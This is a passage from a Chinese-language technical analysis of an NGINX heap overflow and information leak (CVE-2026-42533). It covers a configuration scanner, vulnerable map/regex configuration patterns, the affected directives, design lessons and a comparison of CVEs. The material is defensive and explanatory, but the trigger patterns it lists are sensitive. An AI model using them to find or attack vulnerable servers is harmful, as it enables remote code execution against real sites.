# $request_body — 请求体
# $ssl_preread_server_name — TLS SNI
# $remote_addr, $realip_remote_addr — 客户端IP(可伪造)
# $request_id — 请求ID
配置扫描器(漏洞发现者提供):
# Stan Shaw 开源的配置静态扫描器
# 扫描所有 include 文件,检测脆弱配置模式
# 支持JSON输出,可集成到CI/CDgit clone https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner.git
python3 nginx_capture_clobber_scan.py /etc/nginx/nginx.conf# CI/CD集成(退出码1表示发现脆弱配置)
python3 nginx_capture_clobber_scan.py /etc/nginx/nginx.conf || echo "VULNERABLE - review needed"
9.3 高风险配置模式
以下配置模式组合极易受攻击,应优先排查:
# 模式1: map处理攻击者可控输入 + 正则location/server_name + 共享缓冲区指令
map $http_user_agent $is_bot { ~bot "yes"; default "no"; }
location ~ ^/api/(.+)$ {proxy_set_header X-User "$1"; # 捕获变量proxy_set_header X-IsBot "$is_bot"; # map变量 → 同一缓冲区!proxy_pass http://backend;
}# 模式2: map处理请求体 + rewrite/rewrite捕获
map $request_body $body_type { ~"password" "sensitive"; default "normal"; }
location ~ ^/submit/(.+)$ {rewrite ^/submit/(.+)$ /handler?file=$1 break;add_header X-Body-Type "$body_type" always;# 如果捕获和map在同一表达式中出现 → 脆弱
}# 模式3: stream + ssl_preread + map
stream {map $ssl_preread_server_name $tls_backend {~^(?<sni>.+)\.internal$ "internal_$sni";default "default";}# TLS层的触发完全绕过HTTP WAF
}
受影响指令族完整列表:
| 类别 | 指令 |
|---|---|
| 单值指令 | return, set, add_header, add_trailer, rewrite, proxy_method, proxy_redirect, proxy_cookie_path, proxy_cookie_domain, proxy_pass, proxy_cache_key, expires, auth_basic_user_file, root, alias, error_page, sub_filter, limit_req_zone key, limit_conn_zone key |
| 参数族指令 | proxy_set_header, proxy_set_body, fastcgi_param, scgi_param, uwsgi_param, grpc_set_header |
| Stream指令 | return, set, proxy_pass, proxy_bind, proxy_ssl_name, proxy_ssl_certificate, proxy_ssl_certificate_key, ssl_certificate, ssl_certificate_key, access_log, pass, hash, split_clients |
十、技术启示
10.1 两阶段评估模型的安全陷阱
NGINX的两阶段LEN/VALUE评估模型是性能优化的经典设计——避免动态扩容,一次分配搞定。但这个设计建立在一个未明文声明且未被强制执行的假设上:
假设:LEN Pass 和 VALUE Pass 对同一操作码必须产生完全相同的字节数。
这个假设在"纯函数"式操作码(字面量复制、变量替换)下是成立的,但在具有副作用的操作码(触发正则匹配、修改共享状态)下被打破。
安全教训:
- 任何"两遍扫描"架构都必须显式保证两遍的结果一致性
- 当操作码可能触发副作用时,必须引入不可变快照或显式的状态保存/恢复
- 缓冲区精确分配模式(LEN测量 → 按量分配)需要伴随显式的边界检查
10.2 共享可变状态的线程安全教训
r->captures 是请求对象上的可变共享状态,任何正则匹配都可以随时覆盖它。NGINX脚本引擎没有提供任何save/restore机制来保护这个状态:
设计缺陷总结:请求对象 r├── r->captures ← 可变,任何正则匹配都会覆盖├── r->ncaptures ← 可变└── r->captures_data ← 可变操作码 A (copy_capture) 读取 → 依赖这些字段操作码 B (map regex) 写入 → 修改这些字段(副作用!)操作码 A (copy_capture) 再次读取 → 读到被修改后的值→ 破坏了"相同输入→相同输出"的不变式→ 破坏了LEN/VALUE两阶段的一致性保证
安全教训:
- 避免在请求对象上存储可变状态,除非提供完整的保护机制
- 正则匹配的结果应该是局部变量或不可变快照,而非全局可变状态
- 系统设计中,共享可变状态是并发安全和时序安全的首要威胁
10.3 与其他 NGINX 漏洞对比表
| 漏洞 | 年份 | 类型 | 触发条件 | ASLR | 影响 |
|---|---|---|---|---|---|
| CVE-2013-2028 | 2013 | 堆缓冲区溢出 | 特定chunked编码 | 需关闭 | DoS/RCE |
| CVE-2019-9511 | 2019 | HTTP/2 DDoS | 单个连接多流 | N/A | DoS |
| CVE-2021-23017 | 2021 | DNS Resolver Off-by-One | 特定DNS响应 | N/A | DoS |
| CVE-2026-42945 | 2026 | 堆缓冲区溢出 (Rift) | 非缓存变量+复杂表达式 | 需关闭 | RCE(受限) |
| CVE-2026-42533 | 2026 | 堆溢出+信息泄露 | map正则+捕获变量 | 内置绕过 | 可靠RCE |
10.4 内置 ASLR 绕过的漏洞评估范式
CVE-2026-42533 引入了一个值得深入思考的漏洞评估新范式:
传统漏洞评估:信息泄露 = 低危/中危 (CVSS ~5-6)堆溢出 = 高危/中危 (CVSS ~7-8, 但需ASLR关闭)组合链 = 需要两个独立漏洞本漏洞的特殊性:信息泄露 + 堆溢出 = 同一漏洞、同一代码路径、同一请求→ 消除了"需要两个独立漏洞"的门槛→ 消除了"需要ASLR关闭"的前提条件→ 评估为 CVSS 9.2 (Critical v4.0)安全评估启示:1. 当单一漏洞同时提供读写原语时,威胁等级应大幅提升2. "内置ASLR绕过"应作为CVSS评分的重要加分因子3. 配置依赖型漏洞不应被低估 — NGINX作为全球1/3+网站的反向代理其常见配置模式天然满足触发条件4. 15年的潜伏期说明:脚本引擎的内存安全问题需要持续的代码审计
参考资料
- F5 安全公告 K000162097
- NGINX 官方补丁 PR #1561
- 漏洞发现者 Stan Shaw 的配置扫描器
- NVD 漏洞详情
- NGINX 源码:
src/http/ngx_http_script.c,src/http/ngx_http_variables.c,src/http/ngx_http_map_module.c
